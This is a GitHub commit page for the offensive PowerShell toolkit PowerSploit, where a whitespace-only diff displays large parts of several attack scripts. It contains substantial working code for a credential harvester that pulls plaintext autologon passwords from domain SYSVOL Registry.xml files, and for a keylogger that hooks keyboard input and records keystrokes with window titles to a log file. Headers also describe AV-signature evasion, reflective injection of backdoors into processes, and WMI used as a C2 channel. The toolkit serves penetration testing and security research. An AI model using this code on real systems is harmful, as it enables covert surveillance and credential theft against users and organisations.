Skip to content

Commit e167c56

Browse files
AdrianVollmerAdrianVollmer
committed
remove all trailing whitespaces in ps1 files
1 parent b919244 commit e167c56

22 files changed

+1546
-1547
lines changed

‎AntivirusBypass/Find-AVSignature.ps1

Lines changed: 5 additions & 5 deletions
Original file line numberDiff line numberDiff line change
@@ -5,11 +5,11 @@ function Find-AVSignature
55
66
Locate tiny AV signatures.
77
8-
PowerSploit Function: Find-AVSignature
9-
Authors: Chris Campbell (@obscuresec) & Matt Graeber (@mattifestation)
10-
License: BSD 3-Clause
11-
Required Dependencies: None
12-
Optional Dependencies: None
8+
PowerSploit Function: Find-AVSignature
9+
Authors: Chris Campbell (@obscuresec) & Matt Graeber (@mattifestation)
10+
License: BSD 3-Clause
11+
Required Dependencies: None
12+
Optional Dependencies: None
1313
1414
.DESCRIPTION
1515

‎CodeExecution/Invoke-ReflectivePEInjection.ps1

Lines changed: 6 additions & 6 deletions
Original file line numberDiff line numberDiff line change
@@ -20,12 +20,12 @@ This is probably most useful for injecting backdoors in SYSTEM processes in Sess
2020
from the DLL. The script doesn't wait for the DLL to complete execution, and doesn't make any effort to cleanup memory in the
2121
remote process.
2222
23-
PowerSploit Function: Invoke-ReflectivePEInjection
24-
Author: Joe Bialek, Twitter: @JosephBialek
25-
Code review and modifications: Matt Graeber, Twitter: @mattifestation
26-
License: BSD 3-Clause
27-
Required Dependencies: None
28-
Optional Dependencies: None
23+
PowerSploit Function: Invoke-ReflectivePEInjection
24+
Author: Joe Bialek, Twitter: @JosephBialek
25+
Code review and modifications: Matt Graeber, Twitter: @mattifestation
26+
License: BSD 3-Clause
27+
Required Dependencies: None
28+
Optional Dependencies: None
2929
3030
.DESCRIPTION
3131

‎CodeExecution/Invoke-WmiCommand.ps1

Lines changed: 4 additions & 4 deletions
Original file line numberDiff line numberDiff line change
@@ -5,10 +5,10 @@ function Invoke-WmiCommand {
55
Executes a PowerShell ScriptBlock on a target computer using WMI as a
66
pure C2 channel.
77
8-
Author: Matthew Graeber
9-
License: BSD 3-Clause
10-
Required Dependencies: None
11-
Optional Dependencies: None
8+
Author: Matthew Graeber
9+
License: BSD 3-Clause
10+
Required Dependencies: None
11+
Optional Dependencies: None
1212
1313
.DESCRIPTION
1414

‎Exfiltration/Get-GPPAutologon.ps1

Lines changed: 27 additions & 27 deletions
Original file line numberDiff line numberDiff line change
@@ -1,4 +1,4 @@
1-
function Get-GPPAutologon
1+
function Get-GPPAutologon
22
{
33
<#
44
.SYNOPSIS
@@ -11,25 +11,25 @@ function Get-GPPAutologon
1111
License: BSD 3-Clause
1212
Required Dependencies: None
1313
Optional Dependencies: None
14-
14+
1515
.DESCRIPTION
1616
1717
Get-GPPAutologn searches the domain controller for registry.xml to find autologon information and returns the username and password.
1818
1919
.EXAMPLE
2020
2121
PS C:\> Get-GPPAutolgon
22-
23-
UserNames File Passwords
24-
--------- ---- ---------
25-
{administrator} \\ADATUM.COM\SYSVOL\Adatum.com\Policies\{... {PasswordsAreLam3}
26-
{NormalUser} \\ADATUM.COM\SYSVOL\Adatum.com\Policies\{... {ThisIsAsupaPassword}
22+
23+
UserNames File Passwords
24+
--------- ---- ---------
25+
{administrator} \\ADATUM.COM\SYSVOL\Adatum.com\Policies\{... {PasswordsAreLam3}
26+
{NormalUser} \\ADATUM.COM\SYSVOL\Adatum.com\Policies\{... {ThisIsAsupaPassword}
2727
2828
2929
.EXAMPLE
3030
3131
PS C:\> Get-GPPAutologon | ForEach-Object {$_.passwords} | Sort-Object -Uniq
32-
32+
3333
password
3434
password12
3535
password123
@@ -39,46 +39,46 @@ function Get-GPPAutologon
3939
Recycling*3ftw!
4040
4141
.LINK
42-
42+
4343
https://support.microsoft.com/nb-no/kb/324737
4444
#>
45-
45+
4646
[CmdletBinding()]
4747
Param ()
48-
48+
4949
#Some XML issues between versions
5050
Set-StrictMode -Version 2
51-
51+
5252
#define helper function to parse fields from xml files
53-
function Get-GPPInnerFields
53+
function Get-GPPInnerFields
5454
{
5555
[CmdletBinding()]
5656
Param (
57-
$File
57+
$File
5858
)
59-
60-
try
59+
60+
try
6161
{
6262
$Filename = Split-Path $File -Leaf
6363
[xml] $Xml = Get-Content ($File)
6464

6565
#declare empty arrays
6666
$Password = @()
6767
$UserName = @()
68-
68+
6969
#check for password and username field
7070
if (($Xml.innerxml -like "*DefaultPassword*") -and ($Xml.innerxml -like "*DefaultUserName*"))
7171
{
7272
$props = $xml.GetElementsByTagName("Properties")
7373
foreach($prop in $props)
7474
{
75-
switch ($prop.name)
75+
switch ($prop.name)
7676
{
7777
'DefaultPassword'
7878
{
7979
$Password += , $prop | Select-Object -ExpandProperty Value
8080
}
81-
81+
8282
'DefaultUsername'
8383
{
8484
$Username += , $prop | Select-Object -ExpandProperty Value
@@ -87,9 +87,9 @@ function Get-GPPAutologon
8787

8888
Write-Verbose "Potential password in $File"
8989
}
90-
90+
9191
#put [BLANK] in variables
92-
if (!($Password))
92+
if (!($Password))
9393
{
9494
$Password = '[BLANK]'
9595
}
@@ -98,18 +98,18 @@ function Get-GPPAutologon
9898
{
9999
$UserName = '[BLANK]'
100100
}
101-
101+
102102
#Create custom object to output results
103103
$ObjectProperties = @{'Passwords' = $Password;
104104
'UserNames' = $UserName;
105105
'File' = $File}
106-
106+
107107
$ResultsObject = New-Object -TypeName PSObject -Property $ObjectProperties
108108
Write-Verbose "The password is between {} and may be more than one value."
109109
if ($ResultsObject)
110110
{
111111
Return $ResultsObject
112-
}
112+
}
113113
}
114114
}
115115
catch {Write-Error $Error[0]}
@@ -120,15 +120,15 @@ function Get-GPPAutologon
120120
if ( ( ((Get-WmiObject Win32_ComputerSystem).partofdomain) -eq $False ) -or ( -not $Env:USERDNSDOMAIN ) ) {
121121
throw 'Machine is not a domain member or User is not a member of the domain.'
122122
}
123-
123+
124124
#discover potential registry.xml containing autologon passwords
125125
Write-Verbose 'Searching the DC. This could take a while.'
126126
$XMlFiles = Get-ChildItem -Path "\\$Env:USERDNSDOMAIN\SYSVOL" -Recurse -ErrorAction SilentlyContinue -Include 'Registry.xml'
127-
127+
128128
if ( -not $XMlFiles ) {throw 'No preference files found.'}
129129

130130
Write-Verbose "Found $($XMLFiles | Measure-Object | Select-Object -ExpandProperty Count) files that could contain passwords."
131-
131+
132132
foreach ($File in $XMLFiles) {
133133
$Result = (Get-GppInnerFields $File.Fullname)
134134
Write-Output $Result

‎Exfiltration/Get-GPPPassword.ps1

Lines changed: 6 additions & 6 deletions
Original file line numberDiff line numberDiff line change
@@ -4,11 +4,11 @@ function Get-GPPPassword {
44
55
Retrieves the plaintext password and other information for accounts pushed through Group Policy Preferences.
66
7-
PowerSploit Function: Get-GPPPassword
8-
Author: Chris Campbell (@obscuresec)
9-
License: BSD 3-Clause
10-
Required Dependencies: None
11-
Optional Dependencies: None
7+
PowerSploit Function: Get-GPPPassword
8+
Author: Chris Campbell (@obscuresec)
9+
License: BSD 3-Clause
10+
Required Dependencies: None
11+
Optional Dependencies: None
1212
1313
.DESCRIPTION
1414
@@ -118,7 +118,7 @@ http://rewtdance.blogspot.com/2012/06/exploiting-windows-2008-group-policy.html
118118
}
119119

120120
$Base64Decoded = [Convert]::FromBase64String($Cpassword)
121-
121+
122122
# Make sure System.Core is loaded
123123
[System.Reflection.Assembly]::LoadWithPartialName("System.Core") |Out-Null
124124

‎Exfiltration/Get-Keystrokes.ps1

Lines changed: 21 additions & 21 deletions
Original file line numberDiff line numberDiff line change
@@ -3,14 +3,14 @@ function Get-Keystrokes {
33
.SYNOPSIS
44
55
Logs keys pressed, time and the active window.
6-
6+
77
PowerSploit Function: Get-Keystrokes
88
Original Authors: Chris Campbell (@obscuresec) and Matthew Graeber (@mattifestation)
99
Revised By: Jesse Davis (@secabstraction)
1010
License: BSD 3-Clause
1111
Required Dependencies: None
1212
Optional Dependencies: None
13-
13+
1414
.PARAMETER LogPath
1515
1616
Specifies the path where pressed key details will be logged. By default, keystrokes are logged to %TEMP%\key.log.
@@ -30,14 +30,14 @@ function Get-Keystrokes {
3030
.EXAMPLE
3131
3232
Get-Keystrokes -Timeout 20
33-
33+
3434
.LINK
3535
3636
http://www.obscuresec.com/
3737
http://www.exploit-monday.com/
3838
https://github.com/secabstraction
3939
#>
40-
[CmdletBinding()]
40+
[CmdletBinding()]
4141
Param (
4242
[Parameter(Position = 0)]
4343
[ValidateScript({Test-Path (Resolve-Path (Split-Path -Parent -Path $_)) -PathType Container})]
@@ -67,11 +67,11 @@ function Get-Keystrokes {
6767
function local:Get-DelegateType {
6868
Param (
6969
[OutputType([Type])]
70-
70+
7171
[Parameter( Position = 0)]
7272
[Type[]]
7373
$Parameters = (New-Object Type[](0)),
74-
74+
7575
[Parameter( Position = 1 )]
7676
[Type]
7777
$ReturnType = [Void]
@@ -86,17 +86,17 @@ function Get-Keystrokes {
8686
$ConstructorBuilder.SetImplementationFlags('Runtime, Managed')
8787
$MethodBuilder = $TypeBuilder.DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual', $ReturnType, $Parameters)
8888
$MethodBuilder.SetImplementationFlags('Runtime, Managed')
89-
89+
9090
$TypeBuilder.CreateType()
9191
}
9292
function local:Get-ProcAddress {
9393
Param (
9494
[OutputType([IntPtr])]
95-
95+
9696
[Parameter( Position = 0, Mandatory = $True )]
9797
[String]
9898
$Module,
99-
99+
100100
[Parameter( Position = 1, Mandatory = $True )]
101101
[String]
102102
$Procedure
@@ -113,7 +113,7 @@ function Get-Keystrokes {
113113
$Kern32Handle = $GetModuleHandle.Invoke($null, @($Module))
114114
$tmpPtr = New-Object IntPtr
115115
$HandleRef = New-Object System.Runtime.InteropServices.HandleRef($tmpPtr, $Kern32Handle)
116-
116+
117117
# Return the address of the function
118118
$GetProcAddress.Invoke($null, @([Runtime.InteropServices.HandleRef]$HandleRef, $Procedure))
119119
}
@@ -161,7 +161,7 @@ function Get-Keystrokes {
161161
$GetModuleHandleAddr = Get-ProcAddress kernel32.dll GetModuleHandleA
162162
$GetModuleHandleDelegate = Get-DelegateType @([String]) ([IntPtr])
163163
$GetModuleHandle = [Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($GetModuleHandleAddr, $GetModuleHandleDelegate)
164-
164+
165165
#endregion Imports
166166

167167
$CallbackScript = {
@@ -177,12 +177,12 @@ function Get-Keystrokes {
177177
)
178178

179179
$Keys = [Windows.Forms.Keys]
180-
180+
181181
$MsgType = $wParam.ToInt32()
182182

183183
# Process WM_KEYDOWN & WM_SYSKEYDOWN messages
184184
if ($Code -ge 0 -and ($MsgType -eq 0x100 -or $MsgType -eq 0x104)) {
185-
185+
186186
$hWindow = $GetForegroundWindow.Invoke()
187187

188188
$ShiftState = $GetAsyncKeyState.Invoke($Keys::ShiftKey)
@@ -219,8 +219,8 @@ function Get-Keystrokes {
219219
111 { $Key = "/" }
220220
}
221221
}
222-
elseif (($vKey -ge 48 -and $vKey -le 57) -or ($vKey -ge 186 -and $vKey -le 192) -or ($vKey -ge 219 -and $vKey -le 222)) {
223-
if ($Shift) {
222+
elseif (($vKey -ge 48 -and $vKey -le 57) -or ($vKey -ge 186 -and $vKey -le 192) -or ($vKey -ge 219 -and $vKey -le 222)) {
223+
if ($Shift) {
224224
switch ($vKey.value__) { # Shiftable characters
225225
48 { $Key = ')' }
226226
49 { $Key = '!' }
@@ -245,7 +245,7 @@ function Get-Keystrokes {
245245
222 { $Key = '<Double Quotes>' }
246246
}
247247
}
248-
else {
248+
else {
249249
switch ($vKey.value__) {
250250
48 { $Key = '0' }
251251
49 { $Key = '1' }
@@ -285,7 +285,7 @@ function Get-Keystrokes {
285285
$Keys::F10 { $Key = '<F10>' }
286286
$Keys::F11 { $Key = '<F11>' }
287287
$Keys::F12 { $Key = '<F12>' }
288-
288+
289289
$Keys::Snapshot { $Key = '<Print Screen>' }
290290
$Keys::Scroll { $Key = '<Scroll Lock>' }
291291
$Keys::Pause { $Key = '<Pause/Break>' }
@@ -329,7 +329,7 @@ function Get-Keystrokes {
329329
}
330330

331331
$obj = New-Object psobject -Property $Props
332-
332+
333333
# Stupid hack since Export-CSV doesn't have an append switch in PSv2
334334
$CSVEntry = ($obj | Select-Object Key,Window,Time | ConvertTo-Csv -NoTypeInformation)[1]
335335

@@ -342,14 +342,14 @@ function Get-Keystrokes {
342342
# Cast scriptblock as LowLevelKeyboardProc callback
343343
$Delegate = Get-DelegateType @([Int32], [IntPtr], [IntPtr]) ([IntPtr])
344344
$Callback = $CallbackScript -as $Delegate
345-
345+
346346
# Get handle to PowerShell for hook
347347
$PoshModule = (Get-Process -Id $PID).MainModule.ModuleName
348348
$ModuleHandle = $GetModuleHandle.Invoke($PoshModule)
349349

350350
# Set WM_KEYBOARD_LL hook
351351
$Hook = $SetWindowsHookEx.Invoke(0xD, $Callback, $ModuleHandle, 0)
352-
352+
353353
$Stopwatch = [Diagnostics.Stopwatch]::StartNew()
354354

355355
while ($true) {
@@ -359,7 +359,7 @@ function Get-Keystrokes {
359359
}
360360

361361
$Stopwatch.Stop()
362-
362+
363363
# Remove the hook
364364
$UnhookWindowsHookEx.Invoke($Hook)
365365
}

0 commit comments

Comments
 (0)